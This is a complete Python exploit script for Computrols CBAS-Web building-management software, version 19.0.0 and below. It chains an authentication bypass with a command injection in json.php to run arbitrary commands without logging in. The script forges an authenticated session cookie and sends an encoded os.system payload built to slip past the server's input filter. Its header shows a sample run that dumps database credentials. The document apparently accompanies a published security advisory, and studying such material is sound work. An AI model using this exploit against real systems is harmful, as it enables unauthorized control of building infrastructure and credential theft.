Share
#!/usr/bin/env python  
  
'''  
Computrols CBAS-Web Unauthenticated Remote Command Injection Exploit  
Affected versions: 19.0.0 and below  
by Sipke Mellema, 2019  
Advisory: https://applied-risk.com/resources/ar-2019-009  
Paper: https://applied-risk.com/resources/i-own-your-building-management-system  
  
Uses two vulnerabilities for executing commands:  
- An authorization bypass in the auth module (CVE-2019-10853)  
- A code execution vulnerability in the json.php endpoint (CVE-2019-10854)  
  
Example usage:   
$ python CBASWeb_19_rce.py 192.168.1.250 "cat /var/www/cbas-19.0.0/includes/db.php"  
------------==[CBAS Web v19 Remote Command Injection  
  
[*] URL: http://192.168.1.250/  
[*] Executing: cat /var/www/cbas-19.0.0/includes/db.php  
[*] Cookie is authenticated  
[*] Creating Python payload..  
[*] Sending Python payload..  
[*] Server says:  
<?php  
// Base functions for database access  
// Expects a number of constants to be set. Set settings.php  
  
// Only allow local access to the database for security purposes  
if(defined('WINDOWS') && WINDOWS){  
define('MYSQL_HOST', '192.168.1.2');  
define('DB_USER', 'wauser');  
define('DB_PASS', 'wapwstandard');  
/*define('DB_USER', 'root');  
define('DB_PASS', 'souper secrit');*/  
...  
  
'''  
  
import requests  
import sys  
import base64 as b  
import json  
  
  
def debug_print(msg, level=0):  
if level == 0:  
print "[*] %s" % msg  
if level == 1:  
print "[-] %s" % msg  
  
# Check parameters  
if len(sys.argv) < 3:  
print "Missing target parameter\n\n\tUsage: %s <IP or hostname> \"<cmd>\"" % __file__  
exit(0)  
  
print "------------==[CBAS Web v18 Remote Command Injection\n"  
  
# Set host, cookie and URL  
host = sys.argv[1]  
cookies = {'PHPSESSID': 'comparemetoasummersday'}  
url = "http://%s/" % host  
  
debug_print("URL: %s" % url)  
  
# Command to execute  
# Only use single quotes in cmd pls  
icmd = sys.argv[2]  
if '"' in icmd:  
debug_print("Please don't use double quotes in your command string", level = 1)  
exit(0)  
  
debug_print("Executing: %s" % icmd)  
  
# URL for performing auth bypass by setting the auth cookie flag to true  
auth_bypass_req = "cbas/index.php?m=auth&a=agg_post&code=test"  
# URL for removing auth flag from cookie (for clean-up)  
logout_sess_req = "cbas/index.php?m=auth&a=logout"  
# URL for command injection and session validity checking  
json_checks_req = "cbas/json.php"  
  
# Perform logout  
def do_logout():  
requests.get(url + logout_sess_req, cookies = cookies)  
  
# Check if out cookie has the authentication flag  
def has_auth():  
ret = requests.get(url + json_checks_req, cookies = cookies)  
if ret.text == "Access Forbidden":  
return False  
return True  
  
# Set auth flag on cookie  
def set_auth():  
requests.get(url + auth_bypass_req, cookies = cookies)  
  
# =======================================================  
  
# Perform auth bypass if not authenticated yet  
if not has_auth():  
debug_print("Cookie not yet authenticated")  
debug_print("Setting auth flag on cookie via auth bypass..")  
set_auth()  
  
# Check if bypass failed  
if not has_auth():  
debug_print("Was not able to perform authorization bypass :(")  
debug_print("Exploit failed, quitting..", level = 1)  
exit(0)  
  
else:  
debug_print("Cookie is authenticated")  
debug_print("Creating Python payload..")  
  
# Payload has to be encoded because the server uses the following filtering in exectools.php:  
# $bad = array("..", "\\", "&", "|", ";", '/', '>', '<');  
# So no slashes, etc. This means only two "'layers' of quotes"  
  
# Create python code exec code  
cmd_python = 'import os; os.system("%s")' % icmd  
# Convert to Python array  
cmd_array_string = str([ord(x) for x in cmd_python])  
# Create command injection string  
p_unencoded = "DispatchHistoryQuery\t-i \"$(python -c 'exec(chr(0)[0:0].join([chr(x) for x in %s]))')\"" % cmd_array_string  
# Base64 encode for p parameter  
p_encoded = b.b64encode(p_unencoded)  
  
# Execute command  
debug_print("Sending Python payload..")  
ret = requests.post(url + json_checks_req, cookies = cookies, data = {'p': p_encoded})  
  
# Parse result  
ret_parsed = json.loads(ret.text)  
try:  
metadata = ret_parsed["metadata"]  
identifier = metadata["identifier"]  
  
debug_print("Server says:")  
print identifier  
  
# JSON Parsing error  
except:  
debug_print("Error parsing result from server :(", level = 1)  
  
# Uncomment if you want the cookie to be removed after use  
# debug_print("Logging out")  
# do_logout()